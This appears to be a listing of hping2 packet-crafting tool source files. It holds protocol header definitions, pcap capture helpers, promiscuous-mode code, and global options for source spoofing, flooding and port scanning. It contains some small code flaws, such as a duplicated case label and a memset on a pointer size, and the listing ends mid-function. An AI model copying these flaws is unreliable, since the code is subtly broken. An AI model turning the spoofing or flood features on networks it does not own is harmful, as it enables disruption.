#include "hping2.h"
#include "globals.h"
#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP)
int get_linkhdr_size(char *ifname)
{
int dltype = pcap_datalink(pcapfp);
if (opt_debug)
printf("DEBUG: dltype is %d\n", dltype);
switch(dltype) {
case DLT_EN10MB:
case DLT_IEEE802:
linkhdr_size = 14;
break;
case DLT_SLIP:
case DLT_SLIP_BSDOS:
linkhdr_size = 16;
break;
case DLT_PPP:
case DLT_NULL:
#ifdef DLT_PPP_SERIAL
case DLT_PPP_SERIAL:
#endif
#ifdef DLT_LOOP
case DLT_LOOP:
#endif
linkhdr_size = 4;
break;
case DLT_PPP_BSDOS:
linkhdr_size = 24;
break;
case DLT_FDDI:
linkhdr_size = 13;
break;
case DLT_RAW:
linkhdr_size = 0;
break;
case DLT_IEEE802_11:
linkhdr_size = 14;
break;
case DLT_IEEE802_11:
linkhdr_size = 14;
break;
case DLT_TOKEN_RING:
linkhdr_size = 20;
break;
case DLT_ATM_RFC1483:
#ifdef DLT_CIP
case DLT_CIP:
#endif
#ifdef DLT_ATM_CLIP
case DLT_ATM_CLIP:
#endif
linkhdr_size = 8;
break;
#ifdef DLT_C_HDLC
case DLT_C_HDLC:
linkhdr_size = 4;
break;
#endif
#ifdef DLT_LINUX_SLL
case DLT_LINUX_SLL:
#endif
#ifdef DLT_LANE8023
case DLT_LANE8023:
#endif
linkhdr_size = 16;
break;
default:
return -1;
break;
}
return 0;
}
#else /* Linux... */
int get_linkhdr_size(char *ifname)
{
linkhdr_size = 0;
return 0;
}
#endif /* (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP) */

27
getusec.c Normal file
View File

@ -0,0 +1,27 @@
/*
* $smu-mark$
* $name: getusec.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:47 MET 1999$
* $rev: 8$
*/
#include <sys/time.h>
#include <stdlib.h>
time_t get_usec(void)
{
struct timeval tmptv;
gettimeofday(&tmptv, NULL);
return tmptv.tv_usec;
}
time_t get_midnight_ut_ms(void)
{
struct timeval tv;
gettimeofday(&tv, NULL);
return ((tv.tv_sec % 86400) * 1000 + tv.tv_usec / 1000);
}

152
globals.h Normal file
View File

@ -0,0 +1,152 @@
/*
* $smu-mark$
* $name: globals.h$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:47 MET 1999$
* $rev: 9$
*/
/* $Id: globals.h,v 1.13 2003/08/07 23:55:55 antirez Exp $ */
#ifndef _GLOBALS_H
#define _GLOBALS_H
extern float
rtt_min,
rtt_max,
rtt_avg;
extern unsigned int
tcp_th_flags,
linkhdr_size,
h_if_mtu,
virtual_mtu,
ip_frag_offset,
signlen,
lsr_length,
ssr_length,
ip_tos,
set_seqnum,
tcp_seqnum,
set_ack,
ip_header_length,
tcp_ack;
extern unsigned short int
data_size;
extern int opt_debug,
sockpacket,
sockraw,
sent_pkt,
recv_pkt,
out_of_sequence_pkt,
sending_wait,
opt_rawipmode,
opt_icmpmode,
opt_udpmode,
opt_scanmode,
opt_listenmode,
opt_waitinusec,
opt_numeric,
opt_gethost,
opt_quiet,
opt_relid,
opt_fragment,
opt_df,
opt_mf,
opt_debug,
opt_verbose,
opt_winid_order,
opt_keepstill,
opt_datafromfile,
opt_hexdump,
opt_contdump,
opt_sign,
opt_safe,
opt_end,
opt_traceroute,
opt_seqnum,
opt_incdport,
opt_force_incdport,
opt_icmptype,
opt_icmpcode,
opt_rroute,
opt_tcpexitcode,
opt_badcksum,
opt_tr_keep_ttl,
opt_tcp_timestamp,
opt_tr_stop,
opt_tr_no_rtt,
opt_rand_dest,
opt_rand_source,
opt_lsrr,
opt_ssrr,
tcp_exitcode,
src_ttl,
src_id,
base_dst_port,
dst_port,
src_port,
initsport,
sequence,
src_winsize,
src_thoff,
count,
ctrlzbind,
delaytable_index,
eof_reached,
icmp_ip_version,
icmp_ip_ihl,
icmp_ip_tos,
icmp_ip_tot_len,
icmp_ip_id,
icmp_ip_srcport,
icmp_ip_dstport,
opt_force_icmp,
icmp_ip_protocol,
icmp_cksum,
raw_ip_protocol,
opt_ipv6,
opt_pps,
opt_bps,
opt_af,
opt_flood;
extern unsigned char lsr[255],
ssr[255];
extern char ifname[1024],
ifstraddr[1024],
datafilename[1024],
targetname[1024],
targetstraddr[1024],
spoofaddr[1024],
icmp_ip_srcip[1024],
icmp_ip_dstip[1024],
icmp_gwip[1024],
sign[1024],
rsign[1024],
ip_opt[40],
ip_optlen,
*opt_scanports;
extern struct sockaddr_in icmp_ip_src, icmp_ip_dst, icmp_gw;
extern struct SOCKADDR local, remote;
extern struct itimerval usec_delay;
extern volatile struct delaytable_element delaytable[TABLESIZE];
extern struct hcmphdr *hcmphdr_p;
extern long long sum_bytes;
extern unsigned sum_packets;
#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP)
#include <pcap.h>
extern pcap_t *pcapfp;
extern char errbuf[PCAP_ERRBUF_SIZE];
extern struct pcap_pkthdr hdr;
#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */
#endif /* _GLOBALS_H */

26
hcmp.h Normal file
View File

@ -0,0 +1,26 @@
/*
* $smu-mark$
* $name: hcmp.h$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:47 MET 1999$
* $rev: 9$
*/
/* Hping Control Message Protocol */
#define HCMP_RESTART 1
#define HCMP_SOURCE_QUENCH 2
#define HCMP_SOURCE_STIRUP 3
#define HCMP_CHPROTO 4 /* still unused */
struct hcmphdr
{
__u8 type;
union
{
__u16 seqnum;
__u32 usec;
} typedep;
};

BIN
hping2 Normal file

Binary file not shown.

497
hping2.h Normal file
View File

@ -0,0 +1,497 @@
/*
* $smu-mark$
* $name: hping2.h$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:48 MET 1999$
* $rev: 9$
*/
/* $Id: hping2.h,v 1.19 2003/08/07 23:55:55 antirez Exp $ */
#ifndef _HPING2_H
#define _HPING2_H
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include "byteorder.h"
#include "systype.h"
#ifdef __sun__
typedef char int_8_t;
typedef unsigned char u_int8_t;
typedef short int_16_t;
typedef unsigned short u_int16_t;
typedef int int_32_t;
typedef unsigned int u_int32_t;
#endif
/* types */
#ifndef __u8
#define __u8 u_int8_t
#endif /* __u8 */
#ifndef __u16
#define __u16 u_int16_t
#endif /* __u16 */
#ifndef __u32
#define __u32 u_int32_t
#endif /* __u32 */
#ifndef __uint8_t
#define __uint8_t u_int8_t
#endif /* __uint8_t */
#ifndef __uint16_t
#define __uint16_t u_int16_t
#endif /* __uint16_t */
#ifndef __uint32_t
#define __uint32_t u_int32_t
#endif /* __uint32_t */
#include "hcmp.h" /* Hping Control Message Protocol */
/* protocols header size */
#ifndef ICMPHDR_SIZE
#define ICMPHDR_SIZE sizeof(struct myicmphdr)
#endif
#ifndef UDPHDR_SIZE
#define UDPHDR_SIZE sizeof(struct myudphdr)
#endif
#ifndef TCPHDR_SIZE
#define TCPHDR_SIZE sizeof(struct mytcphdr)
#endif
#ifndef IPHDR_SIZE
#define IPHDR_SIZE sizeof(struct myiphdr)
#endif
#ifndef IP6HDR_SIZE
#define IP6HDR_SIZE sizeof(struct myip6hdr)
#endif
/* wait X seconds after reached to sent packets in oreder to display replies */
#define COUNTREACHED_TIMEOUT 1
/* requests status table stuffs */
/* Warning, TABLESIZE 0 == floating point exception */
#define TABLESIZE 400
#define S_SENT 0
#define S_RECV 1
/* usefull defines */
#ifndef TRUE
#define TRUE 1
#define FALSE 0
#endif
#ifndef IFNAMSIZ
#define IFNAMSIZ 16
#endif
#ifndef PF_PACKET
#define PF_PACKET 17 /* kernel 2.[12].* with 2.0.* kernel headers? */
#endif
#ifndef ETH_P_IP
#define ETH_P_IP 0x0800 /* Internet Protocol packet */
#endif
#ifndef ABS
#define ABS(x) (((x)>0) ? (x) : -(x))
#endif
/* header size of some physical layer type */
#define PPPHDR_SIZE_LINUX 0
#define PPPHDR_SIZE_FREEBSD 4
#define PPPHDR_SIZE_OPENBSD 4
#define PPPHDR_SIZE_NETBSD 4
#define PPPHDR_SIZE_BSDI 4
#define ETHHDR_SIZE 14
#define LOHDR_SIZE 14
#define WLANHDR_SIZE 14
#define TRHDR_SIZE 20
/* packet size (physical header size + ip header + tcp header + 0 data bytes) */
#ifndef IP_MAX_SIZE
#define IP_MAX_SIZE 65535
#endif
/* absolute offsets */
#define ABS_OFFSETIP linkhdr_size
#define ABS_OFFSETTCP ( linkhdr_size + IPHDR_SIZE )
#define ABS_OFFSETICMP ( linkhdr_size + IPHDR_SIZE )
#define ABS_OFFSETUDP ( linkhdr_size + IPHDR_SIZE )
/* defaults and misc */
#define DEFAULT_SENDINGWAIT 1 /* wait 1 sec. between sending each packets */
#define DEFAULT_DPORT 0 /* default dest. port */
#define DEFAULT_INITSPORT -1 /* default initial source port: -1 means random */
#define DEFAULT_COUNT -1 /* default packets count: -1 means forever */
#define DEFAULT_TTL 64 /* default ip->ttl value */
#define DEFAULT_SRCWINSIZE 512 /* default tcp windows size */
#define DEFAULT_VIRTUAL_MTU 16 /* tiny fragments */
#define DEFAULT_ICMP_TYPE 8 /* echo request */
#define DEFAULT_ICMP_CODE 0 /* icmp-type relative */
#define DEFAULT_ICMP_IP_VERSION 4
#define DEFAULT_ICMP_IP_IHL (IPHDR_SIZE >> 2)
#define DEFAULT_ICMP_IP_TOS 0
#define DEFAULT_ICMP_IP_TOT_LEN 0 /* computed by send_icmp_*() */
#define DEFAULT_ICMP_IP_ID 0 /* rand */
#define DEFAULT_ICMP_CKSUM -1 /* -1 means compute the cksum */
#define DEFAULT_ICMP_IP_PROTOCOL 6 /* TCP */
#define DEFAULT_RAW_IP_PROTOCOL 6 /* TCP */
#define DEFAULT_TRACEROUTE_TTL 1
#define BIND_NONE 0 /* no bind */
#define BIND_DPORT 1 /* bind destination port */
#define BIND_TTL 2 /* bind ip->ttl */
#define DEFAULT_BIND BIND_DPORT
/* fragmentation defines */
#define MF ((unsigned short)0x2000) /* more fragments */
#define DF ((unsigned short)0x4000) /* dont fragment */
#define NF ((unsigned short)0x0000) /* no more fragments */
/* ip options defines */
#define IPOPT_COPY 0x80
#define IPOPT_CLASS_MASK 0x60
#define IPOPT_NUMBER_MASK 0x1f
#define IPOPT_COPIED(o) ((o)&IPOPT_COPY)
#define IPOPT_CLASS(o) ((o)&IPOPT_CLASS_MASK)
#define IPOPT_NUMBER(o) ((o)&IPOPT_NUMBER_MASK)
#define IPOPT_CONTROL 0x00
#define IPOPT_RESERVED1 0x20
#define IPOPT_MEASUREMENT 0x40
#define IPOPT_RESERVED2 0x60
#define IPOPT_END (0 |IPOPT_CONTROL)
#define IPOPT_NOOP (1 |IPOPT_CONTROL)
#define IPOPT_SEC (2 |IPOPT_CONTROL|IPOPT_COPY)
#define IPOPT_LSRR (3 |IPOPT_CONTROL|IPOPT_COPY)
#define IPOPT_TIMESTAMP (4 |IPOPT_MEASUREMENT)
#define IPOPT_RR (7 |IPOPT_CONTROL)
#define IPOPT_SID (8 |IPOPT_CONTROL|IPOPT_COPY)
#define IPOPT_SSRR (9 |IPOPT_CONTROL|IPOPT_COPY)
#define IPOPT_RA (20|IPOPT_CONTROL|IPOPT_COPY)
#define IPOPT_OPTVAL 0
#define IPOPT_OLEN 1
#define IPOPT_OFFSET 2
#define IPOPT_MINOFF 4
#define MAX_IPOPTLEN 40
#define IPOPT_NOP IPOPT_NOOP
#define IPOPT_EOL IPOPT_END
#define IPOPT_TS IPOPT_TIMESTAMP
#define IPOPT_TS_TSONLY 0 /* timestamps only */
#define IPOPT_TS_TSANDADDR 1 /* timestamps and addresses */
#define IPOPT_TS_PRESPEC 3 /* specified modules only */
/* tcp flags */
#ifndef TH_FIN
#define TH_FIN 0x01
#endif
#ifndef TH_SYN
#define TH_SYN 0x02
#endif
#ifndef TH_RST
#define TH_RST 0x04
#endif
#ifndef TH_PUSH
#define TH_PUSH 0x08
#endif
#ifndef TH_ACK
#define TH_ACK 0x10
#endif
#ifndef TH_URG
#define TH_URG 0x20
#endif
#ifndef TH_X
#define TH_X 0x40 /* X tcp flag */
#endif
#ifndef TH_Y
#define TH_Y 0x80 /* Y tcp flag */
#endif
/* ICMP TYPE */
#define ICMP_ECHOREPLY 0 /* Echo Reply */
#define ICMP_DEST_UNREACH 3 /* Destination Unreachable */
#define ICMP_SOURCE_QUENCH 4 /* Source Quench */
#define ICMP_REDIRECT 5 /* Redirect (change route) */
#define ICMP_ECHO 8 /* Echo Request */
#define ICMP_TIME_EXCEEDED 11 /* Time Exceeded */
#define ICMP_PARAMETERPROB 12 /* Parameter Problem */
#define ICMP_TIMESTAMP 13 /* Timestamp Request */
#define ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */
#define ICMP_INFO_REQUEST 15 /* Information Request */
#define ICMP_INFO_REPLY 16 /* Information Reply */
#define ICMP_ADDRESS 17 /* Address Mask Request */
#define ICMP_ADDRESSREPLY 18 /* Address Mask Reply */
#define ICMP6_DEST_UNREACH 1
#define ICMP6_PACK_TOOBIG 2
#define ICMP6_TIME_EXCEEDED 3
#define ICMP6_PARAMETERPROB 4
#define ICMP6_ECHO 128
#define ICMP6_ECHOREPLY 129
/* Codes for UNREACHABLE */
#define ICMP_NET_UNREACH 0 /* Network Unreachable */
#define ICMP_HOST_UNREACH 1 /* Host Unreachable */
#define ICMP_PROT_UNREACH 2 /* Protocol Unreachable */
#define ICMP_PORT_UNREACH 3 /* Port Unreachable */
#define ICMP_FRAG_NEEDED 4 /* Fragmentation Needed/DF set */
#define ICMP_SR_FAILED 5 /* Source Route failed */
#define ICMP_NET_UNKNOWN 6
#define ICMP_HOST_UNKNOWN 7
#define ICMP_HOST_ISOLATED 8
#define ICMP_NET_ANO 9
#define ICMP_HOST_ANO 10
#define ICMP_NET_UNR_TOS 11
#define ICMP_HOST_UNR_TOS 12
#define ICMP_PKT_FILTERED 13 /* Packet filtered */
#define ICMP_PREC_VIOLATION 14 /* Precedence violation */
#define ICMP_PREC_CUTOFF 15 /* Precedence cut off */
#define NR_ICMP_UNREACH 15 /* instead of hardcoding immediate value */
/* Codes for REDIRECT */
#define ICMP_REDIR_NET 0 /* Redirect Net */
#define ICMP_REDIR_HOST 1 /* Redirect Host */
#define ICMP_REDIR_NETTOS 2 /* Redirect Net for TOS */
#define ICMP_REDIR_HOSTTOS 3 /* Redirect Host for TOS */
/* Codes for TIME_EXCEEDED */
#define ICMP_EXC_TTL 0 /* TTL count exceeded */
#define ICMP_EXC_FRAGTIME 1 /* Fragment Reass time exceeded */
/*
* IP header
*/
struct myiphdr {
#if defined(__LITTLE_ENDIAN_BITFIELD)
__u8 ihl:4,
version:4;
#elif defined (__BIG_ENDIAN_BITFIELD)
__u8 version:4,
ihl:4;
#else
#error "Please, edit Makefile and add -D__(LITTLE|BIG)_ENDIAN_BITFIEND"
#endif
__u8 tos;
__u16 tot_len;
__u16 id;
__u16 frag_off;
__u8 ttl;
__u8 protocol;
__u16 check;
__u32 saddr;
__u32 daddr;
};
struct myip6hdr {
#if defined(__LITTLE_ENDIAN_BITFIELD)
__u8 tc1:4,
version:4;
__u8 flowlabel1:4,
tc2:4;
__u16 flowlabel2;
#elif defined (__BIG_ENDIAN_BITFIELD)
/* __u32 version:4,
tc:8
flowlabel:20;*/
__u8 version:4,
tc1:4;
__u8 tc2:4,
flowlabel1:4;
__u16 flowlabel2;
#else
#error "Please, edit Makefile and add -D__(LITTLE|BIG)_ENDIAN_BITFIEND"
#endif
__u16 paylen;
__u8 nextheader;
__u8 hoplimit;
__u8 saddr[16];
__u8 daddr[16];
};
/*
* UDP header
*/
struct myudphdr {
__u16 uh_sport; /* source port */
__u16 uh_dport; /* destination port */
__u16 uh_ulen; /* udp length */
__u16 uh_sum; /* udp checksum */
};
/*
* TCP header.
* Per RFC 793, September, 1981.
*/
struct mytcphdr {
__u16 th_sport; /* source port */
__u16 th_dport; /* destination port */
__u32 th_seq; /* sequence number */
__u32 th_ack; /* acknowledgement number */
#if defined (__LITTLE_ENDIAN_BITFIELD)
__u8 th_x2:4, /* (unused) */
th_off:4; /* data offset */
#elif defined (__BIG_ENDIAN_BITFIELD)
__u8 th_off:4, /* data offset */
th_x2:4; /* (unused) */
#else
#error "Please, edit Makefile and add -D__(LITTLE|BIG)_ENDIAN_BITFIEND"
#endif
__u8 th_flags;
__u16 th_win; /* window */
__u16 th_sum; /* checksum */
__u16 th_urp; /* urgent pointer */
};
/*
* ICMP header
*/
struct myicmphdr
{
__u8 type;
__u8 code;
__u16 checksum;
union
{
struct
{
__u16 id;
__u16 sequence;
} echo;
__u32 gateway;
__u32 mtu;
} un;
};
struct icmp_tstamp_data {
__u32 orig;
__u32 recv;
__u32 tran;
};
/*
* UDP/TCP pseudo header
* for cksum computing
*/
struct pseudohdr
{
__u32 saddr;
__u32 daddr;
__u8 zero;
__u8 protocol;
__u16 lenght;
};
struct pseudohdr6
{
__u8 saddr[16];
__u8 daddr[16];
__u16 lenght;
__u16 zero1;
__u8 zero2;
__u8 protocol;
};
#define PSEUDOHDR_SIZE sizeof(struct pseudohdr)
#define PSEUDOHDR6_SIZE sizeof(struct pseudohdr6)
/*
* hping replies delay table
*/
struct delaytable_element {
int seq;
int src;
time_t sec;
time_t usec;
int status;
};
volatile struct delaytable_element delaytable[TABLESIZE];
/* protos */
void nop(void); /* nop */
int parse_options(int, char**); /* option parser */
int get_if_name(void); /* get interface (see source) */
int get_linkhdr_size(char*); /* get link layer hdr size */
int open_sockpacket(void); /* open SOCK_PACKET socket */
int close_sockpacket(int); /* close SOCK_PACKET socket */
int open_sockraw(void); /* open raw socket */
void send_packet (int signal_id);
void send_rawip (void);
void send_tcp(void);
void send_udp(void);
void send_icmp(void);
void send_hcmp(__u8 type, __u32 arg); /* send hcmp packets */
void send_ip (char*, char*, char*, unsigned int, int, unsigned short,
char*, char);
void send_ip_handler(char *packet, unsigned int size); /* fragmentation
handler */
void wait_packet(void); /* handle incoming packets */
void print_statistics(int);
void show_usage(void);
void show_version(void);
void resolve(struct sockaddr*, char*); /* resolver */
void log_icmp_unreach(const char*, unsigned short);/* ICMP unreachable logger */
void log_icmp_timeexc(const char*, unsigned short);/* ICMP time exceeded logger */
time_t get_usec(void); /* return current usec */
time_t get_midnight_ut_ms(void); /* ms from UT midnight */
__u16 cksum(__u16 *buf, int nwords); /* compute 16bit checksum */
void inc_destparm(int sid); /* inc dst port or ttl */
char *get_hostname(const char*); /* get host from addr */
void datafiller(char *p, int size); /* fill data from file */
void data_handler(char *data, int data_size);/* handle data filling */
void socket_broadcast(int sd); /* set SO_BROADCAST option */
void socket_iphdrincl(int sd); /* set SO_IPHDRINCL option */
void listenmain(void); /* main for listen mode */
char *memstr(char *haystack, char *needle, int size); /* memstr */
void tos_help(void); /* show the TOS help */
int rtt(int *seqp, int recvport, float *ms_delay); /* compute round trip time */
int relativize_id(int seqnum, int *ip_id); /* compute relative id */
int if_promisc_on(int s); /* promisc. mode ON */
int if_promisc_off(int s); /* promisc. mode OFF */
int open_pcap(void); /* open libpcap socket */
int close_pcap(void); /* close libpcap socket */
int pcap_recv(char *, unsigned int); /* libpcap api wrapper */
int memlock(char *addr, size_t size); /* disable paging */
int memunlock(char *addr, size_t size); /* enable paging */
int memlockall(void); /* disable paging (all pages) */
int memunlockall(void); /* enable paging (all pages) */
unsigned char ip_opt_build(char *ip_opt); /* build ip options */
void display_ipopt(char* buf); /* display ip options */
void icmp_help(void); /* show the ICMP help */
void route_help(void); /* show the route help */
void (*Signal(int signo, void (*func)(int)))(int);
void delaytable_add(int seq, int src, time_t sec, time_t usec, int status);
int read_packet(void *packet, int size);
void scanmain(void);
u_int32_t hp_rand(void);
struct in6_addr ipv6_rand(char *net,int prefixlen);
#if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && \
!defined(__bsdi__) && !defined(__APPLE__)
size_t strlcpy(char *dst, const char *src, size_t siz);
#endif
/* ARS glue */
void hping_ars_send(char *s);
struct SOCKADDR
{
__u8 data[50];
};
#define ADDR(x) ({ \
void *tmp; \
if(opt_ipv6) \
tmp=&((struct sockaddr_in6*)(x))->sin6_addr; \
else \
tmp=&((struct sockaddr_in*)(x))->sin_addr; \
tmp; \
})
#define ADDR4(x) (((struct sockaddr_in*)(x))->sin_addr)
#define ADDR6(x) (((struct sockaddr_in6*)(x))->sin6_addr)
#define ADDRCMP(x,y) (memcmp(ADDR(x),ADDR(y),opt_ipv6?16:4))
#endif /* _HPING2_H */

BIN
hping6 Normal file

Binary file not shown.

80
hstring.c Normal file
View File

@ -0,0 +1,80 @@
/* hstring.c - Random string-related functions for hping.
* Copyright(C) 2003 Salvatore Sanfilippo
* All rights reserved */
#include <sys/types.h>
#include <string.h>
#include <ctype.h>
/* return 1 if the string looks like an integer number
* otherwise 0 is returned.
*
* this function is equivalent to this regexp:
* [:space:]*-{0,1}[0-9]+[:space:]*
* in english:
* (0-inf spaces)(zero or one -)(1-inf digits)(0-inf spaces)
*/
int strisnum(char *s)
{
int digits = 0; /* used to return false if there aren't digits */
while(isspace(*s))
s++; /* skip initial spaces */
if (*s == '-') /* negative number? */
s++;
while(*s) {
if (isspace(*s)) { /* skip spaces in the tail */
while(isspace(*s))
s++;
if (*s) return 0; /* but don't allow other tail chars */
return digits ? 1 : 0;
}
if (!isdigit(*s))
return 0;
s++;
digits++;
}
return digits ? 1 : 0;
}
/* function similar to strtok() more convenient when we know the
* max number of tokens, to tokenize with a single call.
* Unlike strtok(), strftok() is thread safe.
*
* ARGS:
* 'sep' is a string that contains all the delimiter characters
* 'str' is the string to tokenize, that will be modified
* 'tptrs' is an array of char* poiters that will contain the token pointers
* 'nptrs' is the length of the 'tptrs' array.
*
* RETURN VALUE:
* The number of extracted tokens is returned.
*/
size_t strftok(char *sep, char *str, char **tptrs, size_t nptrs)
{
size_t seplen = strlen(sep);
size_t i, j = 0;
int inside = 0;
while(*str) {
for(i = 0; i < seplen; i++) {
if (sep[i] == *str)
break;
}
if (i == seplen) { /* no match */
if (!inside) {
tptrs[j++] = str;
inside = 1;
}
} else { /* match */
if (inside) {
*str = '\0';
if (j == nptrs)
return j;
inside = 0;
}
}
str++;
}
return j;
}

7
hstring.h Normal file
View File

@ -0,0 +1,7 @@
#ifndef HPING_HSTRNIG_H
#define HPING_HSTRING_H
int strisnum(char *s);
size_t strftok(char *sep, char *str, char **tptrs, size_t nptrs);
#endif

60
if_promisc.c Normal file
View File

@ -0,0 +1,60 @@
/*
* $smu-mark$
* $name: if_promisc.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:48 MET 1999$
* $rev: 2$
*/
#include <sys/types.h>
#include <sys/ioctl.h>
#include <string.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <net/if.h>
#include "hping2.h"
#include "globals.h"
int if_promisc_on(int s)
{
struct ifreq ifr;
strlcpy(ifr.ifr_name, ifname, IFNAMSIZ);
if ( ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
perror("[open_sockpacket] ioctl(SIOCGIFFLAGS)");
return -1;
}
if (!(ifr.ifr_flags & IFF_PROMISC)) {
ifr.ifr_flags |= IFF_PROMISC;
if ( ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
perror("[open_sockpacket] ioctl(SIOCSIFFLAGS)");
return -1;
}
}
return 0;
}
int if_promisc_off(int s)
{
struct ifreq ifr;
strlcpy(ifr.ifr_name, ifname, IFNAMSIZ);
if ( ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
perror("[open_sockpacket] ioctl(SIOCGIFFLAGS)");
return -1;
}
if (ifr.ifr_flags & IFF_PROMISC) {
ifr.ifr_flags ^= IFF_PROMISC;
if ( ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
perror("[open_sockpacket] ioctl(SIOCSIFFLAGS)");
return -1;
}
}
return 0;
}

32
in.h Normal file
View File

@ -0,0 +1,32 @@
/* Copyright (C) 2000,2001 Salvatore Sanfilippo <antirez@invece.org> */
#ifndef ARS_IPPROTO_IP
#define ARS_IPPROTO_IP 0 /* Dummy protocol for TCP. */
#define ARS_IPPROTO_HOPOPTS 0 /* IPv6 Hop-by-Hop options. */
#define ARS_IPPROTO_ICMP 1 /* Internet Control Message Protocol. */
#define ARS_IPPROTO_IGMP 2 /* Internet Group Management Protocol. */
#define ARS_IPPROTO_IPIP 4 /* IPIP tunnels (older KA9Q tunnels use 94).*/
#define ARS_IPPROTO_TCP 6 /* Transmission Control Protocol. */
#define ARS_IPPROTO_EGP 8 /* Exterior Gateway Protocol. */
#define ARS_IPPROTO_PUP 12 /* PUP protocol. */
#define ARS_IPPROTO_UDP 17 /* User Datagram Protocol. */
#define ARS_IPPROTO_IDP 22 /* XNS IDP protocol. */
#define ARS_IPPROTO_TP 29 /* SO Transport Protocol Class 4. */
#define ARS_IPPROTO_IPV6 41 /* IPv6 header. */
#define ARS_IPPROTO_ROUTING 43 /* IPv6 routing header. */
#define ARS_IPPROTO_FRAGMENT 44 /* IPv6 fragmentation header. */
#define ARS_IPPROTO_RSVP 46 /* Reservation Protocol. */
#define ARS_IPPROTO_GRE 47 /* General Routing Encapsulation. */
#define ARS_IPPROTO_ESP 50 /* encapsulating security payload. */
#define ARS_IPPROTO_AH 51 /* authentication header. */
#define ARS_IPPROTO_ICMPV6 58 /* ICMPv6. */
#define ARS_IPPROTO_NONE 59 /* IPv6 no next header. */
#define ARS_IPPROTO_DSTOPTS 60 /* IPv6 destination options. */
#define ARS_IPPROTO_MTP 92 /* Multicast Transport Protocol. */
#define ARS_IPPROTO_ENCAP 98 /* Encapsulation Header. */
#define ARS_IPPROTO_PIM 103 /* Protocol Independent Multicast. */
#define ARS_IPPROTO_COMP 108 /* Compression Header Protocol. */
#define ARS_IPPROTO_RAW 255 /* Raw IP packets. */
#endif

83
ip_opt_build.c Normal file
View File

@ -0,0 +1,83 @@
/*
* $smu-mark$
* $name: memunlock.c$
* $other_author: Mika <mika@qualys.com>
* $other_copyright: Copyright (C) 1999 Mika <mika@qualys.com>
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:48 MET 1999$
* $rev: 2$
*/
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include "hping2.h"
#include "globals.h"
unsigned char ip_opt_build(char* ip_opt)
{
unsigned char optlen = 0;
unsigned long ip;
memset(ip_opt, 1, sizeof(ip_opt));
if (opt_lsrr)
{
if (lsr_length<=39)
{
memcpy(ip_opt, &lsr, lsr_length);
optlen += lsr_length;
}
else
{
printf("Warning: loose source route is too long, discarding it");
opt_lsrr=0;
}
}
if (opt_ssrr)
{
if (ssr_length+optlen<=39)
{
memcpy(ip_opt + optlen, &ssr, ssr_length);
optlen += ssr_length;
}
else
{
printf("Warning: strict source route is too long, discarding it");
opt_ssrr=0;
}
}
if (opt_rroute)
{
if (optlen<=33)
{
ip_opt[optlen]=IPOPT_RR;
ip_opt[optlen+1]=39-optlen;
ip_opt[optlen+2]=8;
ip=inet_addr("1.2.3.4");
memcpy(ip_opt+optlen+3,&ip,4);
optlen=39;
}
else
{
printf("Warning: no room for record route, discarding option\n");
opt_rroute=0;
}
}
if (optlen)
{
optlen = (optlen + 3) & ~3;
ip_opt[optlen-1] = 0;
return optlen;
}
else
return 0;
}

BIN
libars.a Normal file

Binary file not shown.

75
libpcap_stuff.c Normal file
View File

@ -0,0 +1,75 @@
/*
* $smu-mark$
* $name: libpcap_stuff.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:48 MET 1999$
* $rev: 8$
*/
#include "hping2.h"
/* This is not be compiled if the target is linux without libpcap */
#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP)
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <pcap.h>
#include <net/bpf.h>
#include "globals.h"
int open_pcap()
{
int on;
on = 1; /* no warning if BIOCIMMEDIATE will not be compiled */
if (opt_debug)
printf("DEBUG: pcap_open_live(%s, 99999, 0, 1, %p)\n",
ifname, errbuf);
pcapfp = pcap_open_live(ifname, 99999, 0, 1, errbuf);
if (pcapfp == NULL) {
printf("[open_pcap] pcap_open_live: %s\n", errbuf);
return -1;
}
#if (!defined OSTYPE_LINUX) && (!defined __sun__)
/* Return the packets to userspace as fast as possible */
if (ioctl(pcap_fileno(pcapfp), BIOCIMMEDIATE, &on) == -1)
perror("[open_pcap] ioctl(... BIOCIMMEDIATE ...)");
#endif
return 0;
}
int close_pcap()
{
pcap_close(pcapfp);
return 0;
}
int pcap_recv(char *packet, unsigned int size)
{
char *p = NULL;
int pcapsize;
if (opt_debug)
printf("DEBUG: under pcap_recv()\n");
while(p == NULL) {
p = (unsigned char*) pcap_next(pcapfp, &hdr);
if (p == NULL && opt_debug)
printf("DEBUG: [pcap_recv] p = NULL\n");
}
pcapsize = hdr.caplen;
